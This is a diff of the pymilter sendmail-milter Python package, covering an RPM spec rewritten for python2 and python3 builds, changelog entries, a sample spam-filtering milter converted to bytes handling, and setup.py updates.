- Grace time at end of Greylist window
|
|
||||||
|
|
||||||
* Fri Aug 19 2011 Stuart Gathman <stuart@bmsi.com> 0.9.5-1
|
|
||||||
- Print milter.error for invalid callback return type.
|
|
||||||
(Since stacktrace is empty, the TypeError exception is confusing.)
|
|
||||||
- Fix milter-template.py
|
|
||||||
- Tweak Milter.utils.addr2bin and Milter.dynip to handle IP6
|
|
||||||
|
|
||||||
* Tue Mar 02 2010 Stuart Gathman <stuart@bmsi.com> 0.9.4-1
|
|
||||||
- Handle IP6 in Milter.utils.iniplist()
|
|
||||||
- python-2.6
|
|
||||||
|
|
||||||
* Thu Jul 02 2009 Stuart Gathman <stuart@bmsi.com> 0.9.3-1
|
|
||||||
- Handle source route in Milter.utils.parse_addr()
|
|
||||||
- Fix default arg in chgfrom.
|
|
||||||
- Disable negotiate callback for libmilter < 8.14.3 (1,0,1)
|
|
||||||
|
|
||||||
* Tue Jun 02 2009 Stuart Gathman <stuart@bmsi.com> 0.9.2-3
|
|
||||||
- Change result of @noreply callbacks to NOREPLY when so negotiated.
|
|
||||||
|
|
||||||
* Tue Jun 02 2009 Stuart Gathman <stuart@bmsi.com> 0.9.2-2
|
|
||||||
- Cache callback negotiation
|
|
||||||
|
|
||||||
* Thu May 28 2009 Stuart Gathman <stuart@bmsi.com> 0.9.2-1
|
|
||||||
- Add new callback support: data,negotiate,unknown
|
|
||||||
- Auto-negotiate protocol steps
|
|
||||||
|
|
||||||
* Thu Feb 05 2009 Stuart Gathman <stuart@bmsi.com> 0.9.1-1
|
|
||||||
- Fix missing address of optional param to addrcpt
|
|
||||||
|
|
||||||
* Wed Jan 07 2009 Stuart Gathman <stuart@bmsi.com> 0.9.0-4
|
|
||||||
- Stop using INSTALLED_FILES to make Fedora happy
|
|
||||||
- Remove config flag from start.sh glue
|
|
||||||
- Own /var/log/milter
|
|
||||||
- Use _localstatedir
|
|
||||||
|
|
||||||
* Wed Jan 07 2009 Stuart Gathman <stuart@bmsi.com> 0.9.0-2
|
|
||||||
- Changes to meet Fedora standards
|
|
||||||
|
|
||||||
* Mon Nov 24 2008 Stuart Gathman <stuart@bmsi.com> 0.9.0-1
|
|
||||||
- Split pymilter into its own CVS module
|
|
||||||
- Support chgfrom and addrcpt_par
|
|
||||||
- Support NS records in Milter.dns
|
|
||||||
|
|
||||||
* Mon Aug 25 2008 Stuart Gathman <stuart@bmsi.com> 0.8.10-2
|
|
||||||
- /var/run/milter directory must be owned by mail
|
|
||||||
|
|
||||||
* Mon Aug 25 2008 Stuart Gathman <stuart@bmsi.com> 0.8.10-1
|
|
||||||
- improved parsing into email and fullname (still 2 self test failures)
|
|
||||||
- implement no-DSN CBV, reduce full DSNs
|
|
||||||
|
|
||||||
* Mon Sep 24 2007 Stuart Gathman <stuart@bmsi.com> 0.8.9-1
|
|
||||||
- Use ifarch hack to build milter and milter-spf packages as noarch
|
|
||||||
- Remove spf dependency from dsn.py, add dns.py
|
|
||||||
|
|
||||||
* Fri Jan 05 2007 Stuart Gathman <stuart@bmsi.com> 0.8.8-1
|
|
||||||
- move AddrCache, parse_addr, iniplist to Milter package
|
|
||||||
- move parse_header to Milter.utils
|
|
||||||
- fix plock for missing source and can't change owner/group
|
|
||||||
- split out pymilter and pymilter-spf packages
|
|
||||||
- move milter apps to /usr/lib/pymilter
|
|
||||||
|
|
||||||
* Sat Nov 04 2006 Stuart Gathman <stuart@bmsi.com> 0.8.7-1
|
|
||||||
- SPF moved to pyspf RPM
|
|
||||||
|
|
||||||
* Tue May 23 2006 Stuart Gathman <stuart@bmsi.com> 0.8.6-2
|
|
||||||
- Support CBV timeout
|
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
diff -up ./Milter/utils.py.check ./Milter/utils.py
|
||||||
|
--- ./Milter/utils.py.check 2018-08-04 23:01:23.858668412 -0400
|
||||||
|
+++ ./Milter/utils.py 2018-08-04 23:01:39.460869588 -0400
|
||||||
|
@@ -68,10 +68,6 @@ def iniplist(ipaddr,iplist):
|
||||||
|
True
|
||||||
|
>>> iniplist('192.168.0.45',['192.168.0.*'])
|
||||||
|
True
|
||||||
|
- >>> iniplist('4.2.2.2',['b.resolvers.Level3.net'])
|
||||||
|
- True
|
||||||
|
- >>> iniplist('2606:2800:220:1::',['example.com/40'])
|
||||||
|
- True
|
||||||
|
>>> iniplist('4.2.2.2',['nothing.example.com'])
|
||||||
|
False
|
||||||
|
>>> iniplist('2001:610:779:0:223:6cff:fe9a:9cf3',['127.0.0.1','172.20.1.0/24','2001:610:779::/48'])
|
||||||
|
diff -up ./test.py.check ./test.py
|
||||||
|
--- ./test.py.check 2018-08-04 23:04:58.609420815 -0400
|
||||||
|
+++ ./test.py 2018-08-04 23:05:40.070949438 -0400
|
||||||
|
@@ -14,6 +14,8 @@ def suite():
|
||||||
|
return s
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
+ import sys
|
||||||
|
try: os.remove('test/milter.log')
|
||||||
|
except: pass
|
||||||
|
- unittest.TextTestRunner().run(suite())
|
||||||
|
+ rc = unittest.TextTestRunner().run(suite())
|
||||||
|
+ sys.exit(len(rc.failures))
|
||||||
+170
-66
@@ -1,46 +1,72 @@
|
|||||||
%define __python python2
|
# we don't want to provide private python extension libs
|
||||||
%if 0%{?rhel} == 6
|
%global sum Python interface to sendmail milter API
|
||||||
%define pythonbase python
|
%global __provides_exclude_from ^(%{python2_sitearch})/.*\\.so$
|
||||||
|
%if 0%{?epel} == 7
|
||||||
|
%global python3 python36
|
||||||
%else
|
%else
|
||||||
%define pythonbase python2
|
%global python3 python3
|
||||||
%endif
|
%endif
|
||||||
|
|
||||||
%define libdir %{_libdir}/pymilter
|
Summary: %{sum}
|
||||||
%{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
|
Name: python-pymilter
|
||||||
|
Version: 1.0.4
|
||||||
Summary: Python interface to sendmail milter API
|
Release: 1%{?dist}
|
||||||
Name: %{pythonbase}-pymilter
|
Url: http://bmsi.com/pymilter
|
||||||
Version: 1.0.2
|
|
||||||
Release: 1%{dist}
|
|
||||||
Source: https://github.com/sdgathman/pymilter/archive/pymilter-%{version}.tar.gz
|
Source: https://github.com/sdgathman/pymilter/archive/pymilter-%{version}.tar.gz
|
||||||
Source1: pymilter.te
|
#Source1: tmpfiles-python-pymilter.conf
|
||||||
# Patch miltermodule to python3
|
# remove unit tests that require network for check
|
||||||
# FIXME: replace with reverse patch at some point (make py3 the default)
|
Patch: pymilter-check.patch
|
||||||
Patch: milter.patch
|
|
||||||
License: GPLv2+
|
License: GPLv2+
|
||||||
Group: Development/Libraries
|
Group: Development/Libraries
|
||||||
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
|
BuildRequires: python2-devel, %{python3}-devel, sendmail-devel >= 8.13
|
||||||
Url: http://www.bmsi.com/python/milter.html
|
|
||||||
# python-2.6.4 gets RuntimeError: not holding the import lock
|
# python-2.6.4 gets RuntimeError: not holding the import lock
|
||||||
Requires: %{pythonbase} >= 2.6.5, sendmail-milter >= 8.13
|
|
||||||
%if 0%{?fedora} >= 23
|
|
||||||
# Need python2.6 specific pydns, not the version for system python
|
# Need python2.6 specific pydns, not the version for system python
|
||||||
Recommends: %{pythonbase}-pydns
|
BuildRequires: gcc
|
||||||
%endif
|
|
||||||
# Needed for callbacks, not a core function but highly useful for milters
|
|
||||||
BuildRequires: ed, %{pythonbase}-devel, sendmail-devel >= 8.13
|
|
||||||
|
|
||||||
%description
|
%global _description\
|
||||||
This is a python extension module to enable python scripts to
|
This is a python extension module to enable python scripts to\
|
||||||
attach to sendmail's libmilter functionality. Additional python
|
attach to sendmail's libmilter functionality. Additional python\
|
||||||
modules provide for navigating and modifying MIME parts, sending
|
modules provide for navigating and modifying MIME parts, sending\
|
||||||
DSNs, and doing CBV.
|
DSNs, and doing CBV.
|
||||||
|
|
||||||
|
%description %_description
|
||||||
|
|
||||||
|
%package -n python2-pymilter
|
||||||
|
Summary: %{sum}
|
||||||
|
%if 0%{?epel} >= 6
|
||||||
|
Requires: python-pydns
|
||||||
|
%else
|
||||||
|
Requires: python2-pydns
|
||||||
|
%endif
|
||||||
|
Requires: %{name}-common = %{version}-%{release}
|
||||||
|
%{?python_provide:%python_provide python2-pymilter}
|
||||||
|
|
||||||
|
%description -n python2-pymilter %_description
|
||||||
|
|
||||||
|
%package -n %{python3}-pymilter
|
||||||
|
Summary: %{sum}
|
||||||
|
%if 0%{?fedora} >= 26
|
||||||
|
Requires: %{python3}-py3dns
|
||||||
|
%endif
|
||||||
|
Requires: %{name}-common = %{version}-%{release}
|
||||||
|
%{?python_provide:%python_provide %{python3}-pymilter}
|
||||||
|
|
||||||
|
%description -n %{python3}-pymilter %_description
|
||||||
|
|
||||||
|
%package common
|
||||||
|
Summary: Common files and directories for python milters
|
||||||
|
BuildArch: noarch
|
||||||
|
|
||||||
|
%description common
|
||||||
|
Common files and directories used for python milters
|
||||||
|
|
||||||
%package selinux
|
%package selinux
|
||||||
Summary: SELinux policy module for pymilter
|
Summary: SELinux policy module for pymilter
|
||||||
Group: System Environment/Base
|
Group: System Environment/Base
|
||||||
Requires: policycoreutils, selinux-policy, %{name}
|
Requires: policycoreutils, selinux-policy-targeted
|
||||||
BuildRequires: policycoreutils, checkpolicy
|
Requires: %{name} = %{version}-%{release}
|
||||||
|
BuildArch: noarch
|
||||||
|
BuildRequires: policycoreutils, checkpolicy, selinux-policy-devel
|
||||||
%if 0%{?epel} >= 6
|
%if 0%{?epel} >= 6
|
||||||
BuildRequires: policycoreutils-python
|
BuildRequires: policycoreutils-python
|
||||||
%else
|
%else
|
||||||
@@ -48,71 +74,149 @@ BuildRequires: policycoreutils-python-utils
|
|||||||
%endif
|
%endif
|
||||||
|
|
||||||
%description selinux
|
%description selinux
|
||||||
SELinux policy module for using pymilter with sendmail with selinux enforcing
|
Give sendmail_t additional access to stream sockets used to communicate
|
||||||
|
with milters.
|
||||||
|
|
||||||
%prep
|
%prep
|
||||||
%setup -q -n pymilter-%{version}
|
%setup -q -n pymilter-pymilter-%{version}
|
||||||
cp %{SOURCE1} pymilter.te
|
#patch -p1 -b .check
|
||||||
|
|
||||||
%build
|
%build
|
||||||
env CFLAGS="$RPM_OPT_FLAGS" %{__python} setup.py build
|
%py2_build
|
||||||
|
%py3_build
|
||||||
checkmodule -m -M -o pymilter.mod pymilter.te
|
checkmodule -m -M -o pymilter.mod pymilter.te
|
||||||
semodule_package -o pymilter.pp -m pymilter.mod
|
semodule_package -o pymilter.pp -m pymilter.mod
|
||||||
|
|
||||||
%install
|
%install
|
||||||
rm -rf $RPM_BUILD_ROOT
|
%py2_install
|
||||||
%{__python} setup.py install --root=$RPM_BUILD_ROOT
|
%py3_install
|
||||||
mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/run/milter
|
|
||||||
mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/log/milter
|
mkdir -p %{buildroot}/run/milter
|
||||||
mkdir -p $RPM_BUILD_ROOT%{libdir}
|
mkdir -p %{buildroot}%{_localstatedir}/log/milter
|
||||||
|
mkdir -p %{buildroot}%{_libexecdir}/milter
|
||||||
|
#mkdir -p %{buildroot}%{_prefix}/lib/tmpfiles.d
|
||||||
|
#install -m 0644 %{SOURCE1} %{buildroot}%{_prefix}/lib/tmpfiles.d/%{name}.conf
|
||||||
|
|
||||||
# install selinux modules
|
# install selinux modules
|
||||||
mkdir -p %{buildroot}%{_datadir}/selinux/targeted
|
mkdir -p %{buildroot}%{_datadir}/selinux/targeted
|
||||||
cp -p pymilter.pp %{buildroot}%{_datadir}/selinux/targeted
|
cp -p pymilter.pp %{buildroot}%{_datadir}/selinux/targeted
|
||||||
|
|
||||||
%files
|
%check
|
||||||
%defattr(-,root,root,-)
|
py2path=$(ls -d build/lib.linux-*-2.*)
|
||||||
|
py3path=$(ls -d build/lib.linux-*-3.*)
|
||||||
|
PYTHONPATH=${py2path}:. python2 test.py &&
|
||||||
|
PYTHONPATH=${py3path}:. python3 test.py
|
||||||
|
|
||||||
|
%files -n python2-pymilter
|
||||||
|
%license COPYING
|
||||||
%doc README ChangeLog NEWS TODO CREDITS sample.py milter-template.py
|
%doc README ChangeLog NEWS TODO CREDITS sample.py milter-template.py
|
||||||
%{python_sitearch}/*
|
%{python2_sitearch}/*
|
||||||
%{libdir}
|
|
||||||
%dir %attr(0755,mail,mail) %{_localstatedir}/run/milter
|
%files -n %{python3}-pymilter
|
||||||
|
%license COPYING
|
||||||
|
%doc README ChangeLog NEWS TODO CREDITS sample.py milter-template.py
|
||||||
|
%{python3_sitearch}/*
|
||||||
|
|
||||||
|
%files common
|
||||||
|
%dir %{_libexecdir}/milter
|
||||||
|
%{_prefix}/lib/tmpfiles.d/%{name}.conf
|
||||||
%dir %attr(0755,mail,mail) %{_localstatedir}/log/milter
|
%dir %attr(0755,mail,mail) %{_localstatedir}/log/milter
|
||||||
|
%dir %attr(0755,mail,mail) /run/milter
|
||||||
|
|
||||||
%files selinux
|
%files selinux
|
||||||
%doc pymilter.te
|
%doc pymilter.te
|
||||||
%{_datadir}/selinux/targeted/*
|
%{_datadir}/selinux/targeted/*
|
||||||
|
|
||||||
%clean
|
|
||||||
rm -rf $RPM_BUILD_ROOT
|
|
||||||
|
|
||||||
%post selinux
|
%post selinux
|
||||||
/usr/sbin/semodule -s targeted -i %{_datadir}/selinux/targeted/pymilter.pp \
|
%{_sbindir}/semodule -s targeted -i %{_datadir}/selinux/targeted/pymilter.pp \
|
||||||
&>/dev/null || :
|
&>/dev/null || :
|
||||||
|
|
||||||
%postun selinux
|
%postun selinux
|
||||||
if [ $1 -eq 0 ] ; then
|
if [ $1 -eq 0 ] ; then
|
||||||
/usr/sbin/semodule -s targeted -r pymilter &> /dev/null || :
|
%{_sbindir}/semodule -s targeted -r pymilter &> /dev/null || :
|
||||||
fi
|
fi
|
||||||
|
|
||||||
%changelog
|
%changelog
|
||||||
* Tue Dec 13 2016 Stuart Gathman <stuart@gathman.org> 1.0.2-1
|
* Wed Apr 17 2019 Stuart Gathman <stuart@gathman.org> - 1.0.4-1
|
||||||
- Fix the last setsymlist misspelling. Support in test framework and tests.
|
- New upstream release: cleanup unused files, additional platform support
|
||||||
- Add @symlist decorator.
|
- Minor doc updates
|
||||||
- Change body callback and a few other APIs to use bytes instead of str.
|
|
||||||
|
|
||||||
* Tue Sep 20 2016 Stuart Gathman <stuart@gathman.org> 1.0.1-1
|
* Sun Dec 23 2018 Stuart Gathman <stuart@gathman.org> - 1.0.3-1
|
||||||
- Support python3
|
- New upstream release
|
||||||
|
- patch step for python3 no longer required in build
|
||||||
|
|
||||||
* Sat Mar 1 2014 Stuart Gathman <stuart@gathman.org> 1.0-2
|
* Sat Aug 4 2018 Stuart Gathman <stuart@gathman.org> - 1.0.2-4
|
||||||
- Remove start.sh to track EPEL repository, suggest daemonize as replacement
|
- Add unit tests to %%check
|
||||||
- Selinux subpackage should not care about pymilter version
|
|
||||||
|
|
||||||
* Wed Jun 26 2013 Stuart Gathman <stuart@gathman.org> 1.0-1
|
* Sat Aug 4 2018 Stuart Gathman <stuart@gathman.org> - 1.0.2-3
|
||||||
- Allow ACCEPT as untrapped exception policy
|
- use libexec instead of libdir
|
||||||
- Optional dir for getaddrset and getaddrdict in Milter.config
|
|
||||||
- Show registered milter name in untrapped exception message.
|
* Sat Aug 4 2018 Stuart Gathman <stuart@gathman.org> - 1.0.2-2
|
||||||
- Include selinux subpackage
|
- add python34 subpackage on el7
|
||||||
- Provide Milter.greylist export and Milter.greylist import to migrate data
|
|
||||||
|
* Sat Aug 4 2018 Stuart Gathman <stuart@gathman.org> - 1.0.2-1
|
||||||
|
- build for both python2 and python3
|
||||||
|
- add selinux policy allowing sendmail_t access to milters
|
||||||
|
|
||||||
|
* Tue Jul 17 2018 Miro Hrončok <mhroncok@redhat.com> - 1.0-13
|
||||||
|
- Update Python macros to new packaging standards
|
||||||
|
(See https://fedoraproject.org/wiki/Changes/Move_usr_bin_python_into_separate_package)
|
||||||
|
|
||||||
|
* Sat Jul 14 2018 Fedora Release Engineering <releng@fedoraproject.org> - 1.0-12
|
||||||
|
- Rebuilt for https://fedoraproject.org/wiki/Fedora_29_Mass_Rebuild
|
||||||
|
|
||||||
|
* Fri Feb 09 2018 Iryna Shcherbina <ishcherb@redhat.com> - 1.0-11
|
||||||
|
- Update Python 2 dependency declarations to new packaging standards
|
||||||
|
(See https://fedoraproject.org/wiki/FinalizingFedoraSwitchtoPython3)
|
||||||
|
|
||||||
|
* Fri Feb 09 2018 Fedora Release Engineering <releng@fedoraproject.org> - 1.0-10
|
||||||
|
- Rebuilt for https://fedoraproject.org/wiki/Fedora_28_Mass_Rebuild
|
||||||
|
|
||||||
|
* Fri Feb 09 2018 Igor Gnatenko <ignatenkobrain@fedoraproject.org> - 1.0-9
|
||||||
|
- Escape macros in %%changelog
|
||||||
|
|
||||||
|
* Sat Aug 19 2017 Zbigniew Jędrzejewski-Szmek <zbyszek@in.waw.pl> - 1.0-8
|
||||||
|
- Python 2 binary package renamed to python2-pymilter
|
||||||
|
See https://fedoraproject.org/wiki/FinalizingFedoraSwitchtoPython3
|
||||||
|
|
||||||
|
* Thu Aug 03 2017 Fedora Release Engineering <releng@fedoraproject.org> - 1.0-7
|
||||||
|
- Rebuilt for https://fedoraproject.org/wiki/Fedora_27_Binutils_Mass_Rebuild
|
||||||
|
|
||||||
|
* Thu Jul 27 2017 Fedora Release Engineering <releng@fedoraproject.org> - 1.0-6
|
||||||
|
- Rebuilt for https://fedoraproject.org/wiki/Fedora_27_Mass_Rebuild
|
||||||
|
>>>>>>> 021796e51e5919812f1c300d1830ef9ed378db2d
|
||||||
|
|
||||||
|
* Sat Feb 11 2017 Fedora Release Engineering <releng@fedoraproject.org> - 1.0-5
|
||||||
|
- Rebuilt for https://fedoraproject.org/wiki/Fedora_26_Mass_Rebuild
|
||||||
|
|
||||||
|
* Tue Jul 19 2016 Fedora Release Engineering <rel-eng@lists.fedoraproject.org> - 1.0-4
|
||||||
|
- https://fedoraproject.org/wiki/Changes/Automatic_Provides_for_Python_RPM_Packages
|
||||||
|
|
||||||
|
* Thu Feb 04 2016 Fedora Release Engineering <releng@fedoraproject.org> - 1.0-3
|
||||||
|
- Rebuilt for https://fedoraproject.org/wiki/Fedora_24_Mass_Rebuild
|
||||||
|
|
||||||
|
* Thu Jun 18 2015 Fedora Release Engineering <rel-eng@lists.fedoraproject.org> - 1.0-2
|
||||||
|
- Rebuilt for https://fedoraproject.org/wiki/Fedora_23_Mass_Rebuild
|
||||||
|
|
||||||
|
* Sat Sep 27 2014 Paul Wouters <pwouters@redhat.com> - 1.0-1
|
||||||
|
- Updated to 1.0
|
||||||
|
- Use tmpfiles and /run
|
||||||
|
|
||||||
|
* Sun Aug 17 2014 Fedora Release Engineering <rel-eng@lists.fedoraproject.org> - 0.9.8-6
|
||||||
|
- Rebuilt for https://fedoraproject.org/wiki/Fedora_21_22_Mass_Rebuild
|
||||||
|
|
||||||
|
* Sat Jun 07 2014 Fedora Release Engineering <rel-eng@lists.fedoraproject.org> - 0.9.8-5
|
||||||
|
- Rebuilt for https://fedoraproject.org/wiki/Fedora_21_Mass_Rebuild
|
||||||
|
|
||||||
|
* Fri Jan 10 2014 Paul Wouters <pwouters@redhat.com> - 0.9.8-4
|
||||||
|
- Add COPYING
|
||||||
|
- Fix buildroot macros and dist macro
|
||||||
|
|
||||||
|
* Fri Jan 10 2014 Paul Wouters <pwouters@redhat.com> - 0.9.8-3
|
||||||
|
- rebuilt with proper file permission
|
||||||
|
|
||||||
|
* Tue Jan 07 2014 Paul Wouters <pwouters@redhat.com> - 0.9.8-2
|
||||||
|
- Fixup for fedora release
|
||||||
|
|
||||||
* Sat Mar 9 2013 Stuart Gathman <stuart@bmsi.com> 0.9.8-1
|
* Sat Mar 9 2013 Stuart Gathman <stuart@bmsi.com> 0.9.8-1
|
||||||
- Add Milter.test module for unit testing milters.
|
- Add Milter.test module for unit testing milters.
|
||||||
@@ -120,13 +224,13 @@ fi
|
|||||||
- Change untrapped exception message to:
|
- Change untrapped exception message to:
|
||||||
- "pymilter: untrapped exception in milter app"
|
- "pymilter: untrapped exception in milter app"
|
||||||
|
|
||||||
* Thu Apr 12 2012 Stuart Gathman <stuart@bmsi.com> 0.9.7-1
|
* Sat Feb 25 2012 Stuart Gathman <stuart@bmsi.com> 0.9.7-1
|
||||||
- Raise RuntimeError when result != CONTINUE for @noreply and @nocallback
|
- Raise RuntimeError when result != CONTINUE for @noreply and @nocallback
|
||||||
- Remove redundant table in miltermodule
|
- Remove redundant table in miltermodule
|
||||||
- Fix CNAME chain duplicating TXT records in Milter.dns (from pyspf).
|
- Fix CNAME chain duplicating TXT records in Milter.dns (from pyspf).
|
||||||
|
|
||||||
* Sat Feb 25 2012 Stuart Gathman <stuart@bmsi.com> 0.9.6-1
|
* Sat Feb 25 2012 Stuart Gathman <stuart@bmsi.com> 0.9.6-1
|
||||||
- Raise ValueError on unescaped '%' passed to setreply
|
- Raise ValueError on unescaped '%%' passed to setreply
|
||||||
- Grace time at end of Greylist window
|
- Grace time at end of Greylist window
|
||||||
|
|
||||||
* Fri Aug 19 2011 Stuart Gathman <stuart@bmsi.com> 0.9.5-1
|
* Fri Aug 19 2011 Stuart Gathman <stuart@bmsi.com> 0.9.5-1
|
||||||
|
|||||||
@@ -24,7 +24,12 @@ class sampleMilter(Milter.Milter):
|
|||||||
|
|
||||||
def log(self,*msg):
|
def log(self,*msg):
|
||||||
print("%s [%d]" % (strftime('%Y%b%d %H:%M:%S'),self.id),end=None)
|
print("%s [%d]" % (strftime('%Y%b%d %H:%M:%S'),self.id),end=None)
|
||||||
for i in msg: print(i,end=None)
|
for i in msg:
|
||||||
|
try:
|
||||||
|
print(i,end=None)
|
||||||
|
except UnicodeEncodeError:
|
||||||
|
s = i.encode(encoding='utf-8',errors='surrogateescape')
|
||||||
|
print(s,end=None)
|
||||||
print()
|
print()
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
@@ -62,28 +67,31 @@ class sampleMilter(Milter.Milter):
|
|||||||
self.log("rcpt to",to,str)
|
self.log("rcpt to",to,str)
|
||||||
return Milter.CONTINUE
|
return Milter.CONTINUE
|
||||||
|
|
||||||
|
@Milter.decode('bytes')
|
||||||
def header(self,name,val):
|
def header(self,name,val):
|
||||||
lname = name.lower()
|
lname = name.lower()
|
||||||
if lname == 'subject':
|
if lname == 'subject':
|
||||||
|
|
||||||
# even if we wanted the Taiwanese spam, we can't read Chinese
|
# even if we wanted the Taiwanese spam, we can't read Chinese
|
||||||
# (delete if you read chinese mail)
|
# (delete if you read chinese mail)
|
||||||
if val.startswith('=?big5') or val.startswith('=?ISO-2022-JP'):
|
#print('val=',val.encode(errors='surrogateescape'))
|
||||||
|
print('val=',val)
|
||||||
|
if val.startswith(b'=?big5') or val.startswith(b'=?ISO-2022-JP'):
|
||||||
self.log('REJECT: %s: %s' % (name,val))
|
self.log('REJECT: %s: %s' % (name,val))
|
||||||
#self.setreply('550','','Go away spammer')
|
#self.setreply('550','','Go away spammer')
|
||||||
return Milter.REJECT
|
return Milter.REJECT
|
||||||
|
|
||||||
# check for common spam keywords
|
# check for common spam keywords
|
||||||
if val.find("$$$") >= 0 or val.find("XXX") >= 0 \
|
if val.find(b"$$$") >= 0 or val.find(b"XXX") >= 0 \
|
||||||
or val.find("!!!") >= 0 or val.find("FREE") >= 0:
|
or val.find(b"!!!") >= 0 or val.find(b"FREE") >= 0:
|
||||||
self.log('REJECT: %s: %s' % (name,val))
|
self.log('REJECT: %s: %s' % (name,val))
|
||||||
#self.setreply('550','','Go away spammer')
|
#self.setreply('550','','Go away spammer')
|
||||||
return Milter.REJECT
|
return Milter.REJECT
|
||||||
|
|
||||||
# check for spam that pretends to be legal
|
# check for spam that pretends to be legal
|
||||||
lval = val.lower()
|
lval = val.lower()
|
||||||
if lval.startswith("adv:") or lval.startswith("adv.") \
|
if lval.startswith(b"adv:") or lval.startswith(b"adv.") \
|
||||||
or lval.find('viagra') >= 0:
|
or lval.find(b'viagra') >= 0:
|
||||||
self.log('REJECT: %s: %s' % (name,val))
|
self.log('REJECT: %s: %s' % (name,val))
|
||||||
return Milter.REJECT
|
return Milter.REJECT
|
||||||
|
|
||||||
@@ -95,7 +103,7 @@ class sampleMilter(Milter.Milter):
|
|||||||
|
|
||||||
# check for common bulk mailers
|
# check for common bulk mailers
|
||||||
if lname == 'x-mailer' and \
|
if lname == 'x-mailer' and \
|
||||||
val.lower() in ('direct email','calypso','mail bomber'):
|
val.lower() in (b'direct email',b'calypso',b'mail bomber'):
|
||||||
self.log('REJECT: %s: %s' % (name,val))
|
self.log('REJECT: %s: %s' % (name,val))
|
||||||
#self.setreply('550','','Go away spammer')
|
#self.setreply('550','','Go away spammer')
|
||||||
return Milter.REJECT
|
return Milter.REJECT
|
||||||
@@ -104,7 +112,7 @@ class sampleMilter(Milter.Milter):
|
|||||||
if lname in ('subject','x-mailer'):
|
if lname in ('subject','x-mailer'):
|
||||||
self.log('%s: %s' % (name,val))
|
self.log('%s: %s' % (name,val))
|
||||||
if self.fp:
|
if self.fp:
|
||||||
self.fp.write(("%s: %s\n" % (name,val)).encode()) # add header to buffer
|
self.fp.write(b"%s: %s\n" % (name.encode(),val)) # add header to buffer
|
||||||
return Milter.CONTINUE
|
return Milter.CONTINUE
|
||||||
|
|
||||||
def eoh(self):
|
def eoh(self):
|
||||||
|
|||||||
@@ -1,10 +1,13 @@
|
|||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
from distutils.core import setup, Extension
|
from setuptools import setup, Extension
|
||||||
|
|
||||||
if sys.version < '2.6.5':
|
if sys.version < '2.6.5':
|
||||||
sys.exit('ERROR: Sorry, python 2.6.5 is required for this module.')
|
sys.exit('ERROR: Sorry, python 2.6.5 is required for this module.')
|
||||||
|
|
||||||
|
with open("README.md", "r") as fh:
|
||||||
|
long_description = fh.read()
|
||||||
|
|
||||||
# FIXME: on some versions of sendmail, smutil is renamed to sm.
|
# FIXME: on some versions of sendmail, smutil is renamed to sm.
|
||||||
# On slackware and debian, leave it out entirely. It depends
|
# On slackware and debian, leave it out entirely. It depends
|
||||||
# on how libmilter was built by the sendmail package.
|
# on how libmilter was built by the sendmail package.
|
||||||
@@ -12,25 +15,18 @@ if sys.version < '2.6.5':
|
|||||||
libs = ["milter"]
|
libs = ["milter"]
|
||||||
libdirs = ["/usr/lib/libmilter"] # needed for Debian
|
libdirs = ["/usr/lib/libmilter"] # needed for Debian
|
||||||
modules = ["mime"]
|
modules = ["mime"]
|
||||||
if sys.version >= '3':
|
|
||||||
modules.append("sgmllib")
|
|
||||||
print("modules=",modules)
|
|
||||||
|
|
||||||
# NOTE: importing Milter to obtain version fails when milter.so not built
|
# NOTE: importing Milter to obtain version fails when milter.so not built
|
||||||
setup(name = "pymilter", version = '1.0.2',
|
setup(name = "pymilter", version = '1.0.5',
|
||||||
description="Python interface to sendmail milter API",
|
description="Python interface to sendmail milter API",
|
||||||
long_description="""\
|
long_description=long_description,
|
||||||
This is a python extension module to enable python scripts to
|
long_description_content_type='text/markdown',
|
||||||
attach to sendmail's libmilter functionality. Additional python
|
|
||||||
modules provide for navigating and modifying MIME parts, and
|
|
||||||
sending DSNs or doing CBVs.
|
|
||||||
""",
|
|
||||||
author="Jim Niemira",
|
author="Jim Niemira",
|
||||||
author_email="urmane@urmane.org",
|
author_email="urmane@urmane.org",
|
||||||
maintainer="Stuart D. Gathman",
|
maintainer="Stuart D. Gathman",
|
||||||
maintainer_email="stuart@gathman.org",
|
maintainer_email="stuart@gathman.org",
|
||||||
license="GPL",
|
license="GPL",
|
||||||
url="https://pythonhosted.org/milter/",
|
url="https://www.pymilter.org/",
|
||||||
py_modules=modules,
|
py_modules=modules,
|
||||||
packages = ['Milter'],
|
packages = ['Milter'],
|
||||||
ext_modules=[
|
ext_modules=[
|
||||||
@@ -38,7 +34,9 @@ sending DSNs or doing CBVs.
|
|||||||
library_dirs=libdirs,
|
library_dirs=libdirs,
|
||||||
libraries=libs,
|
libraries=libs,
|
||||||
# set MAX_ML_REPLY to 1 for sendmail < 8.13
|
# set MAX_ML_REPLY to 1 for sendmail < 8.13
|
||||||
define_macros = [ ('MAX_ML_REPLY',32) ]
|
define_macros = [ ('MAX_ML_REPLY',32) ],
|
||||||
|
# save lots of debugging time testing rfc2553 compliance
|
||||||
|
extra_compile_args = [ "-Werror=implicit-function-declaration" ]
|
||||||
),
|
),
|
||||||
],
|
],
|
||||||
keywords = ['sendmail','milter'],
|
keywords = ['sendmail','milter'],
|
||||||
|
|||||||
@@ -1,19 +0,0 @@
|
|||||||
#!/bin/sh
|
|
||||||
appname="$1"
|
|
||||||
script="${2:-${appname}}"
|
|
||||||
datadir="/var/lib/milter"
|
|
||||||
logdir="/var/log/milter"
|
|
||||||
piddir="/var/run/milter"
|
|
||||||
libdir="/usr/lib/pymilter"
|
|
||||||
python="python2.4"
|
|
||||||
exec >>${logdir}/${appname}.log 2>&1
|
|
||||||
if test -s ${datadir}/${script}.py; then
|
|
||||||
cd ${datadir} # use version in data dir if it exists for debugging
|
|
||||||
elif test -s ${logdir}/${script}.py; then
|
|
||||||
cd ${logdir} # use version in log dir if it exists for debugging
|
|
||||||
else
|
|
||||||
cd ${libdir}
|
|
||||||
fi
|
|
||||||
|
|
||||||
${python} ${script}.py &
|
|
||||||
echo $! >${piddir}/${appname}.pid
|
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
## To roll your own milter, create a class that extends Milter.
|
## To roll your own milter, create a class that extends Milter.
|
||||||
